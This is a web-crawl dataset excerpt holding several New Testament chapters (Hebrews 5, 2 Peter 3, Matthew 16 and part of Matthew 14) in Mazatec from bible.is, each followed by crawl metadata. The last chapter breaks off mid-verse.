nga̱tjì kjoa̱ 'tse̱ jé‑la̱ xi̱ta̱. 2Koni jè na̱'mì, sa'koa̱á mahindaá‑te inìma̱‑la̱, 'koa̱á 'sín ma‑ni nga ma behi̱ma̱ jñà xi̱ta̱ ra mì kì machi̱ya‑la̱ ko̱ jñà ra xìn ndi̱yá tjímaya. 3Ta nga̱tjì‑la̱ kjoa̱ ra ma'tin, kisì'keén‑te cho̱ ra kjoa̱ 'tse̱ jé‑la̱ koni 'sín nga isì'ken cho̱ ra kjoa̱ 'tse̱ jé‑la̱ xi̱ta̱ na̱xi̱ndá. 4Ni̱yá ra tà jè ta̱jngo bí'ta ijo‑la̱ jè xá'nga ra kìi̱; tà jé‑ní jè ra xá Nainá chja̱‑la̱ koni 'sín nga jè Nainá kiìchja̱‑la̱ jè Aarón. 5'Koa̱á ma‑ni nga ti̱'koa̱á Cristo, mì tsa ti̱jè 'nga isíkíjna‑ni ijo‑la̱ koni na̱'mì ítjòn; jè Nainá‑ní ra kitsjà‑la̱ jè xá 'nga ra̱kìi̱, 'kia̱ nga kitsò‑la̱: Ji̱í‑ní ra I'ndí‑na̱, ko̱ 'a̱án‑ná ra Na̱'ìn‑li. 6Ti̱jé‑ni xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá india‑isa tíchja̱ ñánda̱ nga tsò: Ji̱í‑ní ra na̱'mì tijni skanda ta mé ni̱chjin‑nioo̱, jè xá‑li, 'koa̱á ti̱'sín tjín koni jè xá ra ki'se‑la̱ jè ra tsi'kìn Melquisedec. 7Jè Cristo 'kia̱ nga tsikijna i̱ i̱sà'nde 'ñó kiìchja̱'ta‑la̱ Nainá, ngi ko̱ó ndáxko̱n tsikítsa'ba‑la̱ ko̱ isíjé'ta‑la̱ jè ra tjín‑la̱ nga'ñó nga ma‑la̱ ko̱chrjekàtji a̱'ta 'tse̱ kjo̱biya; jè Nainá kií'nchré‑la̱ ta nga̱tjì‑la̱ nga 'ñó nda kijtsexkón. 8Jè Cristo, ni̱'sín I'ndí‑la̱ Nainá ma, ya̱á kjomà‑la̱ isìhitjasòn 'kia̱ nga isìkjiín kjo̱hi'in. 9'Kia̱ nga mì ti̱ mé ra ichija'ta‑la̱, 'koa̱á 'sín kisijna nga jè ko̱chrjekàjin kjo̱hi'in xi̱ta̱ skanda ta mé ni̱chjin‑nioo̱, nga'tsì ra si̱hitjasòn‑la̱. 10Jè Nainá, 'koa̱á 'sín isíkíjna Jesús nga na̱'mì ítjòn kjomà; kitsjá‑la̱ xá koni jè xá ra ki'se‑la̱ Melquisedec. 11A̱'ta 'tse̱ kjoa̱ kìi̱, kjín jchán tjín‑ni ra ma 'se̱na̱jmí-isa‑najiòn, tanga 'ñó chjá tjín kó'sín nga 'se̱na̱jmíya ta nga̱tjì‑la̱ nga 'ñó i'in machi̱ya‑najiòn. 12Tsa nda kjòn‑ni tsiki, ijyeé‑la kjotseé maestro 'ñó nda ma jiòn; tanga takó machjeén‑najiòn nga chjítá'yá xi̱tse̱ india‑no 'én‑la̱ Nainá kó'sín ma'tsia̱ kjòn‑ni jñà ra isa̱ chiba chjá tjín. 'Koa̱á 'sín kjomà india‑najiòn koni kjòn ndí i̱xti‑xó ra takó tsjín 'bi nga kjè tsa ma‑la̱ bakjèn ni̱ño̱. 13Nga'tsì ra takó ko̱'sín kjòn koni kjòn ra tsjín 'bi, i̱xti‑ní, nga̱ kjè kì machi̱ya‑la̱ kó'sín tjín ra kjoa̱kixi̱. 14Tanga tà jñá ma bakjèn ni̱ño̱ ra ijye xi̱ta̱ jchínga, jñà ra ijye nda machi̱ya‑la̱ mé kjoa̱ ra nda tjín ko̱ mé kjoa̱ ra mì kì nda tjín, nga̱ ijyeé ko̱'sín kjònga‑la̱.\nHebreos 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/5","date":"2013-12-05T04:42:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163040002\/warc\/CC-MAIN-20131204131720-00022-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":383,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndí 'ndsè xi 'ñó matsjake̱‑nò, xo̱jo̱n jè, jè xi ma‑ne jò nga tìkjiì‑nò. Ingajò xo̱jo̱n koi, k'oa̱á s'ín bìnè‑nò nga si̱kítsjeèn kjoa̱ xi nguì kixi̱ tjín; 2mé‑ne nga si̱kítsjeèn‑nò jñà 'én xi kjòtseé tsakóya xi̱ta̱ tsjeè‑la̱ Nainá xi kiìchja̱ ngajo‑la̱. Ti̱koa̱ si̱kítsjeèn kjo̱tíxoma‑la̱ Na̱'èn‑ná Jesucristo xi tsachrjekàjiìn‑ná kjo̱'in koni s'ín tsakóya‑nò jñà xi̱ta̱ xi tsibíxáya‑la̱. 3Jè xi 'ñó mochjeén nga ndaà kàtasijiìn‑nò, jñà na̱chrjein xi sa̱ nchrobá nga jyeé tífehet'aà na̱chrjein, kjoi̱í xi̱ta̱ xi si̱ìsobà‑nò ts'e̱ kjoa̱ kixi̱; ya̱á ko̱jchájiìn kjoa̱ch'o xi síjé yijo‑la̱. 4Sko̱nangui, ki̱tso̱‑nò: \"Na̱chrjein i̱'ndei̱, ¿mé‑ne mì tíbitasòn‑ne 'én xi tíjna xi tsò nga kjoi̱í ìjngoò k'a Cristo? Jyeé kjòtseé k'en xi̱ta̱ jchínga‑ná, tákó k'oa̱á choòn skanda kóni nga kisindaà i̱sò'nde.\" 5Jñà xi̱ta̱ xi k'oa̱ tsò, xó k'oa̱á s'ín‑ne nga síjchàajiìn nga jñà 'én xi kiìchja̱ Nainá na̱chrjein kjòtseé, jñà kisindaà‑ne ngajmiì ko̱ nangui. Ti̱jè‑ne nandá inchrobàt'aà‑ne ko̱ ti̱jè tíjnakon‑ne. 6Xi komà i̱skan, ti̱jè‑ne 'én‑la̱ Nainá ko̱ nandá kisìkje‑ne i̱sò'nde jchínga k'e̱ nga tsangasòn nandá. 7Ti̱ jé‑ne 'én xi kitsjaà Nainá k'oa̱á s'ín tíchja̱ nga jè ngajmiì ko̱ nangui ñánda titsa̱jnasoán na̱chrjein i̱'ndei̱, títsa̱jnandaà‑la̱ mé‑ne nga ki̱ti̱‑ne jè na̱chrjein k'e̱ nga si̱ndaàjiìn‑la̱ xi̱ta̱ ti̱koa̱ kjoe̱hesòn jñà xi̱ta̱ xi mìkiì beèxkón Nainá. 8Jñò ndí 'ndsè xi matsjake̱‑nò kì nìjchàajiìn‑jèn kjoa̱ koi: xi i̱t'aà ts'e̱ Nainá, jngoò na̱chrjein k'oa̱á ngaya‑la̱ koni tsà jngoò jmiì nó tjín‑ne, koa̱ jngoò jmiì nó, Nainá, jngoò na̱chrjein tsò‑la̱. 9Na̱'èn‑ná mìtsà tísíkichrjein nga si̱ìkitasòn 'én‑la̱ koni tsò i'nga xi̱ta̱; tíkoña kjoa̱á‑nò Nainá; jè xi mejèn‑la̱ nga ni̱jngoò xi̱ta̱ jchi̱ja, nga kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne. 10Ta̱nga jè na̱chrjein‑la̱ Nainá, k'oa̱á s'ín kjoi̱í koni s'ín f'iì xi̱ta̱ chijé. Ngajmiì, jngoò k'aá jchi̱ja k'e̱ nga ki̱ná'ya‑la̱ nga ch'o jchán kjo̱ne. Jè ts'oí, sá ko̱ ni'ño ki̱ti̱‑ne. Jè nangui ko̱ ni̱ta̱ mé xi tjín i̱ i̱t'aà nangui, jngoò k'aá ki̱ti̱. 11Koni s'ín ko̱ma nga jchi̱ja ngats'iì tsojmì xi tjín, 'ñó mochjeén nga tsjeè si̱jchá yijo‑nò koni s'ín síjé Nainá, 12ko̱ nga chíñakjoa̱‑là jè na̱chrjein k'e̱ nga kjoi̱í Nainá. Ti̱xátíya‑là na̱chrjein jè. Ko̱ ngats'iì tsojmì xi tjín i̱sò'nde ko̱ ngajmiì, jngoò k'aá ko̱ngandá nga ki̱ti̱. 13Ta̱nga i̱t'aà tsa̱ján, jè titsa̱chiñá‑lá ngajmiì xi̱tse̱ ko̱ nangui xi̱tse̱ koni s'ín kitsjaà tso'ba Nainá, ya̱ ñánda s'e̱ kjoa̱ kixi̱ ko̱ kjo̱ndaà. 14Koií kjoa̱‑la̱ jñò ndí 'ndsè xi matsjake̱‑nò, nga k'oa̱ tjín kjoa̱ xi titsa̱chiñà‑là, tjiì‑là nga'ñó yijo‑nò, mé‑ne k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo, k'oa̱á s'ín sa̱kòt'aà‑nò nga 'nchán ki̱tsa̱jnaà nga tsjeè titsa̱nìjchá yijo‑nò ko̱ ni̱mé jé tjín‑nò. 15K'oa̱á s'ín kàtasijiìn‑nò, jè kjoa̱tsejta‑la̱ Nainá nga tse titsa̱chiñá, jè‑né nga ki̱tjokàjiìn kjo̱'in jñà xi̱ta̱. Jè 'ndsè Pablo xi̱ta̱ xinguia̱á xi 'ñó matsjachaá, ti̱koa̱á jye ìsa̱ kiskiì‑nò koni s'ín tjín kjoa̱chji̱ne̱ xi kitsjaà‑la̱ Nainá. 16Nga jngoò ìjngoò xo̱jo̱n carta xi kiskiì Pablo, k'oa̱á s'ín tíchja̱ kjoa̱ koi. Ta̱nga tjín i'nga xi 'ñó 'in chja̱, mìkiì ndaà machi̱ya‑ná kó tsòya‑ne. K'oa̱á ma‑ne jñà xi̱ta̱ xi mìkiì ndaà fìya‑la̱ ko̱ xi mì kixi̱ tjín kjo̱hítsjeèn‑la̱, síkjatjìya‑la̱ 'én. K'oa̱á ti̱ síko̱ jñà Xo̱jo̱n‑la̱ Nainá xi kiskiì xi kj'ei̱í xi̱ta̱. K'oa̱á ma‑ne jñà xi̱ta̱ xi koa̱síko̱ 'én‑la̱ Nainá, ti̱jñà nchihótsji‑la̱ kjo̱'in yijo‑la̱. 17K'oa̱á ma‑ne, jñò ndí 'ndsè xi matsjake̱‑nò, nga jye ndaà tíjiìn‑nò kjoa̱ koi, ti̱kinda̱a yijo‑nò, mé‑ne nga mì skóna̱cha̱n‑nò jñà xi̱ta̱ xi ch'o s'ín nga xìn ndi̱yá kiìko̱‑nò xi mì kixi̱ tjín ko̱ ya̱á jchi̱ja nga kixi̱ titsa̱jnako̱o Nainá. 18Ìsa̱á ndaà kàtasakó‑ìsa‑nò kjo̱ndaà‑la̱ ko̱ kjo̱hítsjeèn‑la̱ Jesucristo xi otíxoma‑ná nga jè ochrjekàjiìn‑ná kjo̱'in. Jeya kàtìjna i̱'ndei̱ ko̱ ni̱ta̱ mé na̱chrjein‑ne. K'oa̱s'ín kàtama.\n2 Pedro 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/3","date":"2013-12-10T10:39:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164015892\/warc\/CC-MAIN-20131204133335-00043-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":558,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà xi̱ta̱ fariseo ko̱ jñà xi̱ta̱ saduceo ijchòtji̱ngi‑la̱ Jesús ya̱ ñánda̱ tíjna nga mejèn‑la̱ sko̱ó'ta. Isíjé jngo‑la̱ kjo̱xkón ra ngajmi nchrabá‑ni, [a kixi̱ kjoa̱ nga jè Jesús a̱'ta 'tse̱ Nainá nchrabá‑nì]. 2Tanga Jesús kitsó‑la̱: ―'Kia̱ nga ijye mahixon, jiòn, 'koa̱á 'sín bixó: \"Nda jchán‑la ko̱chon‑isa, nga̱ sí ndaá kjohinìngi ya̱ ñánda̱ kàtjì‑ni tsá'bí.\" 3Ko̱ 'kia̱ nga 'se i̱sén, 'koa̱á 'sín bixó jiòn: \"Mì‑la kì nda ko̱chon 'ndi̱; jtsí‑la 'koa̱, nga̱ 'nchán i̱sén chon ko̱ sí 'ñó i̱jncha ifi ya̱ i'ngaá.\" Jiòn xi̱ta̱ ra jò i̱sén tjín‑no, maá‑no ko̱bixó kó'sín tsò‑ni nga ko̱'sín chon ya̱ i'ngaá, tanga mì kì ma‑no ko̱bixó kótsò‑ni kjo̱xkón ra tíma jñà ni̱chjin ra titsa̱hijyeé 'ndi̱ 'ndi̱. 4Jñà xi̱ta̱ ra 'cho 'sín ko̱ ra mì kì ma‑la̱ síhitjasòn‑la̱ Nainá, kjo̱xkón i̱nchisíjé jngo; tanga ni̱jngo kjo̱xkón ske̱ ra kj'ií; ta jé ske̱ kjo̱xkón ra mangásòn‑ko̱ koni 'sín kjomà'tin Jonás xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé. 'Kia̱ nga ijye ko̱kitsò Jesús, kitsjin‑ní, a̱kjòn kijì. 5Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, 'kia̱ nga kijì ya̱ ra ijngoa ndáchikon ján, ki'chaàjiín‑la̱, mì kì ni̱ño̱ nchra̱jín ki'tsa. 6Jesús kitsó‑la̱: ―Chítsijen‑la ko̱ ti̱kinda̱a ijo‑no a̱'ta 'tse̱ na̱'yo̱ san 'tse̱ xi̱ta̱ fariseo ko̱ 'tse̱ xi̱ta̱ saduceo. 7Jñà xi̱ta̱‑la̱ Jesús kitsó‑la̱ xákjén nga tsajo̱óya‑ni: ―Kií‑la ko̱tsò‑ná nga mì kì ni̱ño̱ nchra̱jín ki'ché. 8Jesús kjòchi̱ya‑la̱ nga ko̱'sín i̱nchisíkítsjen; 'kia̱á kitsò‑la̱: ―¿Mé ta̱ chiba makjiín‑no ra a̱'ta tsa̱'a̱n? ¿Mé‑ni ko̱'sín bixó‑no nga mì kì ki'chà ni̱ño̱ nchra̱jín? 9¿A takó kjeé nda machi̱ya‑no, ko̱ a mí bítsjen‑no 'kia̱ nga ísiká'bía̱ ni̱ño̱ nchra̱jín ra 'òn ma‑ni, ko̱ sí 'òn jmi ma‑ni xi̱ta̱ 'xi̱n ra tsakjèn? ¿Kótjín ndi̱si̱yá kjóxkó‑isa ra tsijnengi‑nì? 10¿Ko̱ a mí tjíjin‑te‑no 'kia̱ nga ísiká'bía̱ ni̱ño̱ nchra̱jín ra ito ma‑ni, ñánda̱ nga ijòn jmi ma‑ni xi̱ta̱ ra tsakjèn? ¿Kótjín ndi̱si̱yá kjóxkó‑isa ra tsijnengi‑nì? 11¿Mé‑ni mì kì kamachi̱ya‑no nga mì tsa a̱'ta 'tse̱ ni̱ño̱ nchra̱jín‑ni ra ko̱kàxin‑no, 'kia̱ nga kàxin‑no: \"Ti̱kinda̱a ijo‑no a̱'ta 'tse̱ na̱'yo̱ san‑la̱ xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo\"? 12'Kia̱á kjòchi̱ya‑la̱ koni 'sín kitsò‑la̱ Jesús nga mì tsa na̱'yo̱ san 'tse̱ ni̱'ño̱ nchra̱jín ra ko̱kitsò‑la̱, jñá‑ní nga koni 'sín nga bakón‑ya jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo. 13'Kia̱ nga ijchò Jesús ya̱ i̱'nde ñánda̱ 'mì Cesarea 'tse̱ Filipo iskonangií‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱, kitsò‑la̱: ―¿Kó tsò jñà xi̱ta̱? ¿Yá‑na ra 'a̱n, ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱? 14Kitsó jñà xi̱ta̱‑la̱: ―Tjín i'ka ra tsò: \"Jé Juan ra tsatíndá xi̱ta̱.\" Ko̱ tjín ra tsò‑te: \"Jé Elías.\" Ti̱'koa̱á tjín ra tsò: \"Jé Jeremías.\" Ko̱ tjín‑te ra tsò‑isa: \"Jé‑la jngo jñà xi̱ta̱ ra kisìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé.\" 15'Kia̱á kitsò Jesús: ―¿Tanga ra jiòn, kó'sín bixó? ¿Yá‑na ra 'a̱n? 16'Kia̱á kiìchja̱ Simón Pedro kitsò: ―Ji̱í‑ní ra Cristo ra xá inikasén‑ni, I'ndí‑la̱ Nainá ra ngi tíjnakon. 17A̱kjòn kiìchja̱ Jesús; kitsò‑la̱: ―Mé ta̱ nda‑li ji̱, ti‑la̱ Jonás, ra Simón 'mì‑li. Nga̱ mì tsa xi̱ta̱ i̱sà'nde tsakón‑li nga'tsì kjoa̱ kìi̱. Jè sabà tsakón‑li jè Nainá ra tíjna ya̱ ján ngajmi. 18'A̱n, 'koa̱á ti̱'sín xin‑la nga ji̱í‑ní ra 'mì‑li Pedro [ra na̱jo̱ tsò‑ni], ko̱ ya̱á a̱sòn na̱jo̱ ra̱kìi̱ síkíjna tja'tsiaa̱n jè na̱xi̱ndá‑na̱; ko̱ mì kì si̱ìkijne‑la̱ na̱xi̱ndá‑na̱, ni̱'sín jè nga'ñó‑la̱ kjo̱biya. 19Ko̱ ji̱í tsja‑la jñà yabi̱ 'tse̱ na̱xi̱ndá ñánda̱ nga batéxoma jè ra tíjna ján ngajmi; nga'tsì kjoa̱ ra mì kì ki̱'ndi i̱ a̱'ta nangi, ti̱'koa̱á mì kì tsjá'nde Nainá ya̱ ján ngajmi ko̱ nga'tsì kjoa̱ ra ki̱'ndi i̱ a̱'ta nangi, ti̱'koa̱á tsjá'nde‑te Nainá ya̱ ján ngajmi. 20'Kia̱á kitsjà‑la̱ kjo̱kixi̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga kitsò‑la̱: ―Kì yá ra ko̱'mì‑la nga 'a̱n‑ná ra Cristo ra xá isìkasén‑ni Nainá. 21Ti̱jñá‑ni ni̱chjin kìi̱, Jesús tsikí'tsia̱‑nì nga tsi'kéna̱jmíya‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga jè, tjínè‑la̱ nga ya̱ ki̱ji̱ ya̱ ján Jerusalén. Ko̱ jñà xi̱ta̱ jchínga ko̱ xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, tseé kjo̱hi'in tsjá‑la̱ ko̱ si̱ì'ken‑ní, tanga 'kia̱ ki̱jchò jàn ni̱chjin, kjoa̱áya‑ila̱. 22Jè Pedro kiìchja̱'ta xín‑la̱ nga kitsò‑la̱: ―Mì kì nda tjín koni 'sín nga kasi. ¿A sí 'koa̱á tsò kjòn i̱sà'nde nga ko̱'sín ko̱ka̱ma'tin? Ni̱kjiá ko̱'sín ko̱ma. 23Tanga Jesús isíkáfa'tá‑la̱ nga kitsò‑la̱: ―Ti̱si̱'taxín‑ná ji̱ xi̱ta̱‑ni̱í. Ta mejèn‑li ji̱ batechjà‑ná. Nga̱ mì tsa jè kjo̱bítsjen‑la̱ Nainá níkítsjin; ta kjo̱bítsjen 'tse̱ xi̱ta̱á tjiníkítsjìn. 24Jesús, 'kia̱á kitsò‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱: ―Tsa yá ra mejèn‑la̱ ya̱ ki̱ji̱'ta‑na, kì ti̱ tsja jè kjo̱binachon‑la̱ 'sín‑ni kinda̱. Katachíkjoa̱‑la̱ kjo̱hi'in ra ko̱tojin koni tsa 'bamijìn kjòn jngo krò ra ti̱jè ki̱yá'ta‑ni, ko̱ katanchrabá'ta‑na. 25Jè ra mejèn‑la̱ nga mì mé ka̱ma‑la̱ i̱ a̱'ta nangi, ta isa̱á kjo̱hi'in 'se̱‑la̱ a̱skan‑nioo̱; tanga jè ra ska̱jin kjoa̱ i̱ a̱'ta nangi ra ta nga̱tjì tsa̱'a̱n, ndaá kíjna‑ni a̱skan‑nioo̱. 26¿Mé ra ki̱jne‑la̱ jngo xi̱ta̱, ni̱'sín 'se̱ ijye‑la̱ nga'tsì tsajmì ra tjín i̱ i̱sà'nde, tsa si̱ìjchijaá‑nì inìma̱‑la̱? Ni̱ ta mé ra ma ki̱ìchjítjì‑ni xi̱ta̱ nga ma kíjnakon inìma̱‑la̱. 27'A̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, 'kia̱ nga kjí'i̱ india‑na nga ko̱ kjoa̱jeya‑la̱ Na̱'ìn‑na̱ kjí'ia̱, ko̱ tji̱ko̱ jñà ìkja̱li̱, 'kia̱á tsja‑la̱ chjí‑la̱ koni 'sín nga ki'sìn nga jngó jngó xi̱ta̱. 28Ngi kjo̱hixi̱í ra xin‑no, títsa̱jnajiín i'ka i̱jndíi̱ ra mì kì ki̱yá skanda 'kia̱ nga ske̱‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱ nga kjí'i̱ katexóma.\nSan Mateo 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/16","date":"2013-12-13T10:28:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164928424\/warc\/CC-MAIN-20131204134848-00043-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":813,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà na̱chrjein koi, jè Herodes xi xi̱ta̱xá ítjòn tíjna ya̱ nangui Galilea, kiì'nchré koni s'ín béno̱jmí xi̱ta̱ mé kjoa̱ xi tís'ín Jesús. 2Kitsò‑la̱ jñà xi̱ta̱ xi síxá‑la̱: ―Xi̱ta̱ jè, jè‑né xi 'mì Juan xi kis'iìn bautizar xi̱ta̱ xi jye jaáya ìjngoò k'a‑la̱. K'oa̱á ma‑ne nga tjín‑la̱ nga'ñó nga ma‑la̱ s'ín kjo̱xkón xi ndaà tjín. 3Nga ìsa̱ kjòtseé, jè Herodes kitsjaà o̱kixi̱ nga kitsobà'ñó Juan, i̱kjoàn kiskinìs'en nda̱yá, koií kjoa̱‑la̱ nga jè chjo̱ón Herodías xi chjo̱ón‑la̱ Felipe xi 'ndse̱ komà Herodes k'oa̱á s'ín kisìjé. 4Koií kjoa̱‑la̱ nga jè Juan xi kis'iìn bautizar xi̱ta̱, kjìn k'a o̱kitsò‑la̱ Herodes: \"Mìkiì tjí'nde‑lè nga ji̱ tijnakoi̱i chjo̱ón‑la̱ 'ndsì.\" 5K'oa̱á ma‑ne nga jè Herodes mejèn‑la̱ kisìk'en Juan, ta̱nga jñà kitsakjòn‑la̱ xi̱ta̱ na̱xa̱ndá, nga jyeé tíjiìn‑la̱ na̱xa̱ndá nga jè Juan, jè xi̱ta̱ xi chja̱ya ngajo‑la̱ Nainá. 6K'e̱ nga ijchò nó‑la̱ jè Herodes, tsachrje s'eí‑la̱ koa̱ jè tsòti‑la̱ Herodías kitè nga nguixko̱n xi̱ta̱ xi títsa̱jna s'eí. Jè Herodes, 'ñó ndaà kisaseèn‑la̱. 7Koa̱ kitsjaà kixi̱ 'én‑la̱ nga tsjá yije‑la̱ mé xi si̱ìjé‑la̱ jè tsòti. 8Koa̱ jè nea̱‑la̱ chinchá'a ítjòn jè tsòti nga kàtasíjé‑la̱ sko̱ Juan. Jè tsòti, k'e̱é kitsò‑la̱ Herodes: ―Tjiì‑ná sko̱ Juan xi kis'iìn bautizar xi̱ta̱, tinaya‑ná chro̱ba̱te. 9Jè Herodes xi xi̱ta̱xá ítjòn tíjna, kjòba‑la̱ k'e̱ nga kiì'nchré‑la̱ jè tsòti. Ta̱nga koií kjoa̱‑la̱ nga jye kitsjaà kixi̱‑la̱ 'én nga nguixko̱n xi̱ta̱ xi ya̱ títsa̱jna s'eí, k'e̱é kitsjaà o̱kixi̱ nga k'oi̱‑la̱ sko̱ Juan jè tsòti. 10Jè Herodes kitsjaà‑la̱ o̱kixi̱ xi̱ta̱‑la̱ nga tsatesin Juan ya̱ i̱ya nda̱yá. 11I̱kjoàn kiìko̱ sko̱ Juan, tjíya‑la̱ chro̱ba̱te nga kitsjaà‑la̱ jè tsòti, ko̱ jè tsòti kisìnga̱tsja nea̱‑la̱. 12K'e̱é ijchò xi̱ta̱ xi kota'yàt'aà‑la̱ Juan; kiskoé yijo‑la̱ nga jye k'en, i̱kjoàn kiì kíhijiìn; nga komà i̱skan, kisìkí'nchré Jesús. 13Jesús, k'e̱ nga jye kiì'nchré jè kjoa̱ xi komàt'in Juan, tà ta̱jngoò kiì‑ne; tsibìjna'ya jngoò chitso; ijchò jngoò i̱'nde i̱t'aà xìn. Ta̱nga jñà xi̱ta̱, nga jye kiì'nchré nga kiì‑ne Jesús, ti̱koa̱á kiìtji̱ngui‑la̱; saà ndso̱ko̱ó kiì‑ne ngats'iì xi̱ta̱ xi ya̱ chrañàt'aà‑la̱ na̱xa̱ndá‑la̱. 14Jesús, k'e̱ nga itjojen chitso, kijtseè nga 'ñó kjìn ma xi̱ta̱ xi títsa̱jna; kjòhi̱ma̱keè‑né. K'e̱é kisìndaà‑ne ngats'iì xi̱ta̱ xi xk'én. 15Nga jye kjòhoxòn jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ijchò kinchat'aà‑la̱, kitsò‑la̱: ―Jye kjòhoxòn, ko̱ i̱'nde jè, i̱t'aà xìn‑né; ni̱mé tjín. Ko̱t'ìn‑la̱ jñà xi̱ta̱ kàtjì‑ne nga kàtatse tsojmì xi ski̱ne̱ jñà na̱xa̱ndá ñánda nga chrañàt'aà. 16Jesús kitsò: ―Mìkiì kjoi̱‑ne. Tjiì‑là jñò xi ko̱kje̱n xi̱ta̱ koi. 17Xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kitsò: ―Ni̱mé tjín‑naje̱n. Tà 'òn ma i̱nchra̱jín ko̱ jò ma ti̱n xi títsa̱jna‑na̱je̱n. 18Jesús kitsò‑la̱: ―Nchrohóko̱‑ná i̱jndé. 19K'e̱é kitsò‑la̱ jñà xi̱ta̱ xi kjìn ma‑ne nga kàtìtsa̱jnajiìn ijñá; i̱kjoàn kiskoé jñà i̱nchra̱jín xi 'òn ma‑ne ko̱ jñà ti̱n xi jò ma‑ne; i̱kjoàn kiskoòtsejèn ngajmiì, kitsjaà‑la̱ kjo̱ndaà Nainá, i̱kjoàn kisìxkoa̱ya i̱nchra̱jín; k'e̱é kitsjaà‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱, koa̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ kisìka'bí‑la̱ jñà xi̱ta̱ xi kjìn ma‑ne. 20Tsakjèn yije kóho̱tjín xi̱ta̱ kó nga kjòskiì. K'e̱é tsibíxkó‑ne jñà xi tsiningui‑ne. Nguì tejò ni̱si̱yá komà. 21Jñà xi̱ta̱ xi tsakjèn, 'òn jmiì ma‑ne xi xi̱ta̱ x'i̱n. Mìkiì kòxke̱ya jñà íchjín ko̱ i̱xti. 22Nga komà i̱skan, Jesús kisìkas'en xi̱ta̱ xi kota'yàt'aà‑la̱ ya̱ i̱ya chitso mé‑ne nga ìsa̱ ítjòn ki̱jchò‑ne ján xijngoaà ndáchikon; koa̱ jè Jesús k'e̱é tísíhixat'aà xi̱ta̱ xi kjìn ma‑ne nga jye nchifì‑ne. 23K'e̱ nga jye kisìhixat'aà yije jñà xi̱ta̱, Jesús kiìmijìn‑jno jngoò nindoò nga kiì kiìchja̱t'aà‑la̱ Nainá nga ta̱ jè ta̱jngoò. K'e̱ nga jye kòjñò, Jesús tà ta̱jngoò tíjna ya̱ i̱'nde jè. 24Jè chitso jye 'ñó kjìn ijchò. Jè nga'ñó‑la̱ nandá jye ngaxìn ngaje̱n tífìko̱ chitso nga jè tjo̱ bíchjoà ikon‑la̱. 25K'e̱ nga ta̱jñòya ìsa̱, Jesús kiìtji̱ngui‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ nga kiì‑ne ndso̱ko̱ ya̱ i̱sòn nandá. 26Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ k'e̱ nga kijtseè nga tífìsòn nandá tà kitsakjòn‑la̱; k'e̱é kiskindàya xkón, kitsò: ―Ini̱ma̱ ch'o‑né. 27Ta̱nga Jesús ni̱to̱ón kiìchja̱‑la̱, kitsò‑la̱: ―'Ñó t'è‑là takòn, kì tsakjoòn‑jèn, 'a̱n‑ná. 28Jè Pedro, k'e̱é kiìchja̱‑la̱ kitsò‑la̱: ―Na̱'èn, tsà ji̱‑né, tjiì'nde‑ná nga kjísoàn nandá skanda ñánda tìsìjni. 29Jesús kitsò‑la̱: ―Nchroboí. Jè Pedro itjojen‑jno chitso koa̱ tsibíts'ia̱ nga kiì‑ne ndso̱ko̱ ya̱ i̱sòn nandá ñánda síjna Jesús. 30Ta̱nga k'e̱ nga kijtseè nga jè tjo̱ 'ñó tí'ba, kitsakjòn‑né, i̱kjoàn tsibíts'ia̱ nga mejèn kiskaàjiìndá; k'e̱é kiskindàya kitsò: ―¡Na̱'èn, na̱chrjejiìn‑ndá‑ná! 31Jesús 